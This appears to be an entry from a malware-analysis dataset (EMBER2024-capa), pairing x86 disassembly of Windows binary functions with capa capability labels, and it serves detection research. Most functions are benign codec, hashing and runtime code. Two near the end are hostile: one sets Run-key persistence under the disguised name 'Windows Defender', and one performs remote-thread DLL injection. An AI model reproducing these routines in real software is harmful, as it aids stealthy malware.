joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa90090
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 4
mov ebx, dword [eax + 0x7090]
mov ecx, dword [eax + 0x7098]
mov esi, ebx
sub esi, ecx
cmp dword [eax + 0x4b90], 2
je 0xa90185
mov ebx, dword [eax + 0x709c]
mov ecx, 0x3c
test ebx, ebx
je 0xa900eb
mov ecx, dword [eax + 0x49d0]
mov ebx, dword [eax + 0x4a0c]
cmp byte [ebx + ecx], 2
je 0xa901d0
mov edi, dword [eax + 0x4a18]
xor ebx, ebx
test byte [edi + ecx*2], 0x3f
setne bl
lea ecx, [ebx + 0x3c]
test esi, esi
je 0xa90180
add esi, esi
mov ecx, 1
sub ecx, esi
cmovs ecx, esi
lea eax, [ecx - 1]
cmp eax, 0x32
mov ecx, eax
mov dword [esp], eax
jle 0xa90121
cmp eax, 0x34
mov esi, 0x67
setne al
sub esi, ecx
test al, al
cmove esi, ecx
mov dword [esp], esi
mov esi, dword [edx + 0x20]
lea esi, [esi]
lea edi, [edi]
movzx ebp, byte [edx + ebx + 0x60]
mov eax, ebp
movzx ecx, byte [ebp + ebp + 0xdf8d21]
xor al, 1
movzx eax, al
movzx eax, word [eax + eax + 0xdf8be0]
mov byte [edx + ebx + 0x60], cl
add esi, eax
mov eax, ebx
sar eax, 1
dec dword [esp]
lea ebx, [eax + 2]
jne 0xa90130
lea ecx, [eax + 0x3e]
movzx eax, byte [edx + ecx + 0x24]
movzx eax, word [eax + eax + 0xdf8be0]
add esi, eax
mov dword [edx + 0x20], esi
pop ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [edx + 0x20]
jmp 0xa90161
mov edi, dword [eax + 0x4a18]
mov ebp, dword [eax + 0x48b8]
cmp word [edi + ebp*2], 0
jne 0xa900b4
cmp ebx, ecx
jle 0xa900b4
mov ecx, dword [eax + 0x709c]
test ecx, ecx
je 0xa901df
mov ecx, dword [eax + 0x49d0]
xor esi, esi
mov eax, dword [eax + 0x4a0c]
cmp byte [eax + ecx], 2
jne 0xa900df
mov esi, dword [edx + 0x20]
mov ecx, 0x3d
jmp 0xa90161
mov ecx, 0x3d
mov ebx, 1
jmp 0xa900eb
mov esi, dword [edx + 0x20]
mov ecx, 0x3c
jmp 0xa90161

Function at 0xa901f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 4
movzx ebx, byte [ecx + 0xdfd060]
xor ecx, ecx
cmp byte [eax + ebx + 0x6dc7], 0
setg cl
cmp byte [eax + ebx + 0x6dc0], 0
movsx eax, byte [eax + ebx + 0x6dc8]
lea esi, [ecx + 2]
cmovg ecx, esi
mov esi, dword [edx + 0x20]
test eax, eax
mov dword [esp], eax
jle 0xa9025d
nop
lea esi, [esi]
movzx ebp, byte [edx + ecx + 0x5a]
mov eax, ebp
movzx ebx, byte [ebp + ebp + 0xdf8d21]
xor al, 1
movzx eax, al
movzx eax, word [eax + eax + 0xdf8be0]
mov byte [edx + ecx + 0x5a], bl
sar ecx, 2
add ecx, 4
add esi, eax
dec dword [esp]
jne 0xa90230
movzx ebx, byte [edx + ecx + 0x5a]
movzx eax, byte [ebx + ebx + 0xdf8d20]
mov byte [edx + ecx + 0x5a], al
movzx eax, word [ebx + ebx + 0xdf8be0]
add esi, eax
mov dword [edx + 0x20], esi
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0xa90290
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 4
mov ebx, dword [esp + 0x18]
mov dword [esp], ecx
movzx esi, byte [ebx + 0xdfd060]
lea ebx, [ecx + ecx*4]
lea ebx, [eax + ebx*8]
cmp byte [ebx + esi + 0x6dc7], 0
lea edi, [esi - 8]
movzx ecx, byte [edi + ebx + 0x6dc8]
jle 0xa90350
cmp byte [eax + esi + 0x6fff], 0
sete bl
test cl, cl
movzx ebx, bl
jle 0xa902e4
cmp byte [eax + edi + 0x7000], 0
lea ebp, [ebx + 2]
cmove ebx, ebp
mov edi, dword [esp]
lea ecx, [edi + edi*4]
mov edi, dword [edx + 0x20]
lea eax, [eax + ecx*8]
movsx esi, byte [esi + eax + 0x6dc8]
test esi, esi
jle 0xa9032b
lea esi, [esi]
movzx ecx, byte [edx + ebx + 0x5a]
mov eax, ecx
movzx ecx, byte [ecx + ecx + 0xdf8d21]
xor al, 1
movzx eax, al
movzx eax, word [eax + eax + 0xdf8be0]
mov byte [edx + ebx + 0x5a], cl
sar ebx, 2
add ebx, 4
add edi, eax
dec esi
jne 0xa90300
movzx ecx, byte [edx + ebx + 0x5a]
movzx eax, byte [ecx + ecx + 0xdf8d20]
mov byte [edx + ebx + 0x5a], al
movzx eax, word [ecx + ecx + 0xdf8be0]
add edi, eax
mov dword [edx + 0x20], edi
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret
xor ebx, ebx
jmp 0xa902cf
Function at 0xb3d7b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov ecx, dword [esp + 0x68]
mov eax, dword [esp + 0x60]
mov ebx, dword [esp + 0x7c]
mov edi, dword [esp + 0x64]
mov ebp, dword [esp + 0x70]
mov esi, dword [esp + 0x80]
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x78]
mov edx, ecx
mov ecx, dword [eax + 0x20]
mov dword [esp + 0x28], edx
imul edx, dword [eax + 0x2c]
mov eax, dword [esp + 0x24]
movsx eax, word [ecx + eax*2]
imul eax, dword [esp + 0x28]
cmp ebx, 1
mov dword [esp + 0x38], edx
mov dword [esp + 0x34], eax
je 0xb3d820
mov eax, edx
cdq
idiv ebx
cmp dword [esp + 0x34], eax
jg 0xb3d961
test esi, esi
jne 0xb3d90a
movsx ebx, word [ecx + ebp*2]
mov edx, dword [esp + 0x28]
imul edx, ebx
test edx, edx
lea edi, [edi + edx*4]
jle 0xb3d96a
mov esi, dword [esp + 0x30]
fldz
xor eax, eax
lea esi, [esi]
lea edi, [edi]
fst dword [esi + eax*4]
add eax, 1
cmp eax, edx
jne 0xb3d850
fstp st(0)
mov edx, dword [esp + 0x30]
lea esi, [edx + eax*4]
cmp dword [esp + 0x24], ebp
jle 0xb3d973
mov edx, ebp
nop
movsx ebp, word [ecx + edx*2 + 2]
mov eax, dword [esp + 0x28]
imul ebx, eax
imul ebp, eax
mov eax, dword [esp + 0x2c]
fld dword [eax + edx*4]
fadd dword [edx*4 + 0xe07720]
fld dword [0xe034c0]
fxch st(1)
fucom st(1)
fnstsw ax
fstp st(1)
sahf
ja 0xb3d900
fld qword [0xe034c8]
fmulp st(1)
fstp qword [esp]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], ecx
call sub.msvcrt.dll_exp
fstp dword [esp + 0x3c]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
fld dword [esp + 0x3c]
lea esi, [esi]
lea edi, [edi]
add edi, 4
fld dword [edi - 4]
add ebx, 1
add esi, 4
cmp ebp, ebx
fmul st(1)
fstp dword [esi - 4]
jg 0xb3d8d0
fstp st(0)
add edx, 1
cmp edx, dword [esp + 0x24]
je 0xb3d931
movsx ebx, word [ecx + edx*2]
jmp 0xb3d870
fstp st(0)
fld qword [0xe034b8]
jmp 0xb3d8a6
movsx ebx, word [ecx]
mov edx, dword [esp + 0x28]
xor ebp, ebp
mov dword [esp + 0x34], 0
mov dword [esp + 0x24], 0
imul edx, ebx
test edx, edx
lea edi, [edi + edx*4]
jg 0xb3d83e
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x64], 0
sub eax, ecx
lea edx, [edx + ecx*4]
shl eax, 2
mov dword [esp + 0x68], eax
mov dword [esp + 0x60], edx
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
jmp sub.msvcrt.dll_memset
mov dword [esp + 0x34], eax
jmp 0xb3d820
mov esi, dword [esp + 0x30]
jmp 0xb3d863
jge 0xb3d931
mov dword [esp + 8], 0x107
mov dword [esp + 4], str.celt_bands.c
mov dword [esp], str.assertion_failed:_start___end
call fcn.00b371e0
jmp fcn.00b3d9a0
Function at 0xb49e20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
fldz
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [esp + 0x70]
mov esi, dword [esp + 0x7c]
fst dword [esp + 0x38]
mov edi, dword [esp + 0x64]
mov ebp, dword [esp + 0x74]
fst dword [esp + 0x3c]
imul ecx, esi, 0x54
imul eax, ebx, 0x2a
test ebx, ebx
lea eax, [ecx + eax + 0xe075a0]
mov dword [esp + 0x2c], eax
jne 0xb4a010
fstp st(0)
fld dword [esi*4 + 0xe076f0]
fstp dword [esp + 0x18]
fld dword [esi*4 + 0xe07700]
fstp dword [esp + 0x14]
mov eax, dword [ebp + 4]
shl eax, 3
cmp edi, dword [esp + 0x68]
mov dword [esp + 0x10], eax
jge 0xb4a000
mov esi, edi
mov edi, dword [esp + 0x6c]
fldz
nop
cmp esi, 0x14
mov eax, esi
jle 0xb49e9c
mov eax, 0x14
mov edx, dword [esp + 0x2c]
add eax, eax
mov dword [esp + 0x74], ebp
mov ebp, edi
mov edi, esi
mov esi, dword [esp + 0x74]
xor ebx, ebx
lea ecx, [edx + eax + 1]
add eax, edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
bsr eax, dword [esi + 0x1c]
mov ecx, dword [esp + 0x10]
xor eax, 0x1f
add eax, dword [esi + 0x14]
sub eax, 0x20
sub ecx, eax
cmp ecx, 0xe
jg 0xb49fc0
cmp ecx, 1
jle 0xb49f71
mov dword [esp + 8], 2
mov dword [esp + 4], 0xe07580
fstp dword [esp + 0x20]
mov dword [esp], esi
call fcn.00b46ed0
mov edx, eax
and eax, 1
sar edx, 1
neg eax
xor eax, edx
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld dword [esp + 0x20]
jmp 0xb49f22
fxch st(1)
mov ecx, dword [esp + 0x60]
mov eax, dword [ecx + 8]
imul eax, ebx
add eax, edi
lea edx, [ebp + eax*4]
fld dword [edx]
fld dword [0xe07788]
fucom st(1)
fnstsw ax
sahf
jbe 0xb49f45
fstp st(1)
jmp 0xb49f47
fstp st(0)
fmul dword [esp + 0x14]
fadd st(1)
fadd st(2)
fstp dword [edx]
fadd st(1)
fxch st(1)
fmul dword [esp + 0x18]
fsubp st(1)
fstp dword [esp + ebx*4 + 0x38]
add ebx, 1
cmp ebx, dword [esp + 0x78]
jge 0xb49fa0
fld dword [esp + ebx*4 + 0x38]
jmp 0xb49ebe
fld1
fchs
jne 0xb49f20
fstp st(0)
mov dword [esp + 4], 1
mov dword [esp], esi
fstp dword [esp + 0x20]
call fcn.00b46e90
neg eax
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld dword [esp + 0x20]
jmp 0xb49f22
mov dword [esp + 0x74], esi
mov esi, edi
mov edi, ebp
add esi, 1
cmp dword [esp + 0x68], esi
mov ebp, dword [esp + 0x74]
je 0xb4a000
fld dword [esp + 0x38]
jmp 0xb49e90
mov eax, dword [esp + 0x24]
fstp dword [esp + 0x20]
movzx eax, byte [eax]
shl eax, 6
mov dword [esp + 8], eax
mov eax, dword [esp + 0x28]
movzx eax, byte [eax]
mov dword [esp], esi
shl eax, 7
mov dword [esp + 4], eax
call fcn.00b5a9d0
mov dword [esp + 0x1c], eax
fild dword [esp + 0x1c]
fld dword [esp + 0x20]
jmp 0xb49f22
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
fld dword [0xe07784]
fstp dword [esp + 0x18]
fstp dword [esp + 0x14]
jmp 0xb49e72
Function at 0xb55f30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x70]
mov ebx, dword [esp + 0x7c]
mov esi, dword [esp + 0x98]
mov ebp, dword [esp + 0x90]
mov dword [esp + 0x44], ecx
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x74]
and ebx, 0xfffffffe
mov dword [esp + 0x38], esi
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x8c]
test eax, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x94]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x48], ecx
je 0xb56066
imul ecx, ebp, 0x5f
mov edx, 0x51eb851f
mov eax, ecx
sar ecx, 0x1f
imul edx
sar edx, 4
sub edx, ecx
cmp edx, ebx
mov dword [esp + 0x40], edx
jg 0xb56090
mov eax, dword [esp + 0x20]
mov ebx, dword [esp + 0x40]
mov esi, dword [eax + 0x1d10]
sub ebx, esi
test ebx, ebx
jle 0xb56054
mov eax, ebp
mov edx, 0x51eb851f
sar ebp, 0x1f
imul edx
sar edx, 4
mov edi, edx
sub edi, ebp
sub ebp, edx
mov dword [esp + 0x3c], ebp
mov ebp, dword [esp + 0x4c]
mov eax, dword [esp + 0x38]
mov edx, dword [ebp + 0x48]
cmp edi, ebx
mov dword [esp + 4], esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, edi
jle 0xb5603a
mov eax, ebx
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
add esi, edi
mov eax, dword [esp + 0x20]
call fcn.00b53f00
add ebx, dword [esp + 0x3c]
test ebx, ebx
jg 0xb56003
mov edx, dword [esp + 0x40]
sub edx, dword [esp + 0x44]
mov eax, dword [esp + 0x20]
mov dword [eax + 0x1d10], edx
mov eax, dword [esp + 0x44]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x70], eax
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00b55a00
mov dword [esp + 0x40], ebx
jmp 0xb55fd2
Function at 0xb5a710
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov eax, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x20]
cmp eax, ebx
fld dword [edi + 4]
je 0xb5a777
mov ecx, dword [edi]
test ecx, ecx
jle 0xb5a762
mov edx, dword [edi + 0x2c]
add eax, 4
lea esi, [edx + ecx*2]
nop
lea esi, [esi]
fld dword [eax]
movsx ecx, word [edx]
add edx, 2
add eax, 8
fld dword [eax - 0xc]
cmp esi, edx
fmul st(2)
lea ecx, [ebx + ecx*8]
fstp dword [ecx]
fmul st(1)
fstp dword [ecx + 4]
jne 0xb5a740
fstp st(0)
jmp 0xb5a764
fstp st(0)
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], edi
add esp, 0x10
pop ebx
pop esi
pop edi
jmp fcn.00b59d00
fstp st(0)
mov dword [esp + 8], 0x244
mov dword [esp + 4], 0xe0be00
mov dword [esp], str.assertion_failed:_fin___fout_nIn_place_FFT_not_supported
call fcn.00b371e0
lea esi, [esi]
lea edi, [edi]
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edx, dword [esp + 0x44]
mov ebx, dword [esp + 0x48]
mov edi, dword [esp + 0x40]
cmp edx, ebx
je 0xb5a846
mov ebp, dword [edi]
test ebp, ebp
jle 0xb5a80e
mov eax, dword [edi + 0x2c]
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x40], edi
lea esi, [eax + ebp*2]
nop
movsx ecx, word [eax]
mov edi, dword [edx]
add eax, 2
mov ebp, dword [edx + 4]
add edx, 8
cmp esi, eax
mov dword [ebx + ecx*8], edi
mov dword [ebx + ecx*8 + 4], ebp
jne 0xb5a7d0
mov ebp, dword [esp + 0x1c]
mov edi, dword [esp + 0x40]
lea eax, [ebx + 4]
lea edx, [ebx + ebp*8 + 4]
nop
lea esi, [esi]
fld dword [eax]
add eax, 8
fchs
fstp dword [eax - 8]
cmp edx, eax
jne 0xb5a800
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00b59d00
mov edx, dword [edi]
test edx, edx
jle 0xb5a83e
lea eax, [ebx + 4]
lea edx, [ebx + edx*8 + 4]
mov esi, esi
lea edi, [edi]
fld dword [eax]
add eax, 8
fchs
fstp dword [eax - 8]
cmp edx, eax
jne 0xb5a830
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0x253
mov dword [esp + 4], 0xe0be00
mov dword [esp], str.assertion_failed:_fin___fout_nIn_place_FFT_not_supported
call fcn.00b371e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0xb61d90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x20
movsx eax, word [0xe0c660]
mov esi, dword [esp + 0x34]
mov ebp, dword [esp + 0x38]
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp], 0
mov dword [esp + 4], 0x7fffffff
mov dword [esp + 0x18], eax
mov eax, dword [esp]
mov ebx, dword [esp + 0x18]
movsx eax, word [eax + eax + 0xe0c662]
mov ecx, eax
mov dword [esp + 0x18], eax
sub ecx, ebx
movzx eax, cx
sar ecx, 0x10
imul eax, eax, 0x199a
imul ecx, ecx, 0x199a
sar eax, 0x10
lea edx, [eax + ecx]
movzx eax, byte [esp]
lea ecx, [edx + edx]
add edx, ebx
mov dword [esp + 0xc], ecx
mov byte [esp + 0x12], al
xor ecx, ecx
mov eax, dword [esi + edi*4]
mov dword [esp + 8], edx
sub eax, edx
mov ebx, eax
sar ebx, 0x1f
xor eax, ebx
sub eax, ebx
cmp eax, dword [esp + 4]
jge 0xb61eb0
movzx ebx, byte [esp + 0x12]
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
mov byte [ebp + 1], cl
add ecx, 1
add edx, dword [esp + 0xc]
cmp ecx, 5
mov byte [esp + 0x13], bl
movzx ebx, byte [esp]
mov dword [esp + 0x14], eax
mov byte [ebp], bl
jne 0xb61e0d
add dword [esp], 1
movzx ebx, byte [esp + 0x13]
mov eax, dword [esp]
cmp eax, 0xf
jne 0xb61dcb
movsx ax, bl
mov edx, ebx
add ebp, 3
imul eax, eax, 0x56
sar dl, 7
shr ax, 8
sub eax, edx
lea edx, [eax + eax]
mov byte [ebp - 1], al
add eax, edx
sub ebx, eax
mov eax, dword [esp + 0x14]
mov byte [ebp - 3], bl
mov dword [esi + edi*4], eax
add edi, 1
cmp edi, 2
jne 0xb61db4
mov eax, dword [esi + 4]
sub dword [esi], eax
add esp, 0x20
pop ebx
pop esi
pop edi
pop ebp
ret
movzx ebx, byte [ebp]
jmp 0xb61e69
Function at 0xbd08e0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x1019544
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x101953c]
sub esp, 4
test ebx, ebx
je 0xbd092b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0xbd0924
test esi, esi
je 0xbd0924
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0xbd0900
mov dword [esp], 0x1019544
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0xbd3e50
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [esp + 0x40]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
lea edi, [esi + eax - 6]
cmp esi, edi
ja 0xbd3ef0
movzx eax, byte [edi]
test al, al
je 0xbd3ef0
cmp al, 0x58
jne 0xbd3ea2
lea ebx, [edi + 1]
mov ebp, dword [0x101956c]
test ebp, ebp
je 0xbd3f00
mov dword [esp + 8], edi
mov dword [esp + 4], 1
mov dword [esp], ebp
call sub.ADVAPI32.DLL_CryptGenRandom
sub esp, 0xc
test eax, eax
jne 0xbd3eb0
add esp, 0x2c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
movzx eax, byte [ebx - 1]
cmp al, 0xfb
ja 0xbd3e7d
movzx ecx, al
lea edx, [ecx*8]
mov edi, ecx
sub edx, ecx
lea edx, [edi + edx*8]
shr dx, 0xb
lea ecx, [edx*8]
add edx, ecx
shl edx, 2
sub eax, edx
mov edx, eax
lea eax, [edx + 0x30]
cmp al, 0x39
ja 0xbd3f40
mov byte [ebx - 1], al
mov edi, ebx
movzx eax, byte [edi]
test al, al
jne 0xbd3e76
add esp, 0x2c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x101956c
call sub.ADVAPI32.DLL_CryptAcquireContextA
sub esp, 0x14
test eax, eax
je 0xbd3f50
mov ebp, dword [0x101956c]
jmp 0xbd3e87
add edx, 0x57
mov edi, ebx
mov byte [ebx - 1], dl
jmp 0xbd3ee9
mov dword [0x101956c], 0
jmp 0xbd3e87
Function at 0xc0619c
Capabilities:
Hash data using sha1
Hash data using sha224
Hash data using sha256

Disassembly:
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
mov ecx, edx
sar ecx, 5
cmp edx, 0xe0
mov byte [eax], cl
je 0xc061f6
cmp edx, 0x100
je 0xc06237
cmp edx, 0xa0
jne 0xc06287
mov dword [eax + 0x50], 0x67452301
mov dword [eax + 0x54], 0xefcdab89
mov dword [eax + 0x58], 0x98badcfe
mov dword [eax + 0x5c], 0x10325476
mov dword [eax + 0x60], 0xc3d2e1f0
mov dword [eax + 0x70], 0x8a7c00
jmp 0xc06276
mov dword [eax + 0x50], 0xc1059ed8
mov dword [eax + 0x54], 0x367cd507
mov dword [eax + 0x58], 0x3070dd17
mov dword [eax + 0x5c], 0xf70e5939
mov dword [eax + 0x60], 0xffc00b31
mov dword [eax + 0x64], 0x68581511
mov dword [eax + 0x68], 0x64f98fa7
mov dword [eax + 0x6c], 0xbefa4fa4
mov dword [eax + 0x70], 0x8a8c70
jmp 0xc06276
mov dword [eax + 0x50], 0x6a09e667
mov dword [eax + 0x54], 0xbb67ae85
mov dword [eax + 0x58], 0x3c6ef372
mov dword [eax + 0x5c], 0xa54ff53a
mov dword [eax + 0x60], 0x510e527f
mov dword [eax + 0x64], 0x9b05688c
mov dword [eax + 0x68], 0x1f83d9ab
mov dword [eax + 0x6c], 0x5be0cd19
mov dword [eax + 0x70], 0x8a8c70
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
xor eax, eax
ret
mov eax, 0xffffffea
ret
Function at 0x666412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x66641325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x66641325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6664132c
mov eax, 1
jmp 0x66641331
mov eax, 0
leave
ret

Function at 0x66641333
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x41c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Defender
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x666414ee
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x66641c90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6664603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x66646034]
sub esp, 4
test ebx, ebx
je 0x66641cdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x66641cd4
test esi, esi
je 0x66641cd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66641cb0
mov dword [esp], 0x6664603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x66641ec0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x666441ac
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]